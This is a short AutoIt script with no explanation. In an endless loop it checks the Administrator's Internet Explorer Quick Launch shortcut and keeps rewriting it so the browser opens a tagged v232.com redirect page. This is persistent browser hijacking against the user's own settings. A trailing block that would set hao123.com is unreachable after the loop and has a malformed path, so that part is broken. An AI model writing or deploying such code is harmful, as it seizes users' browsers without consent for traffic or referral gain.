While 1
$asp=FileGetShortcut("C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch" & "\启动 Internet Explorer 浏览器.lnk")
if $asp[2] <> "http://www.v232.com/sogou.sz?fupsky" Then
FileCreateShortcut(@ProgramFilesDir & "\Internet Explorer\iexplore.exe", "C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch" & "\启动 Internet Explorer 浏览器.lnk", "", "http://www.v232.com/sogou.sz?fupsky")
EndIf
WEnd
$lnk="C:\Documents and Settings\Administrator\Application Data\Microsoft\Internet Explorer\Quick Launch"
$ie=@ProgramFilesDir & "\Internet Explorer\IEXPLORE.EXE"
$url="http://www.hao123.com"
$asp=FileGetShortcut($lnk & "启动 Internet Explorer 浏览器.lnk")
if $asp[2] <> $url Then
FileCreateShortcut($ie, $lnk & "\启动 Internet Explorer 浏览器","", $url, "")
EndIf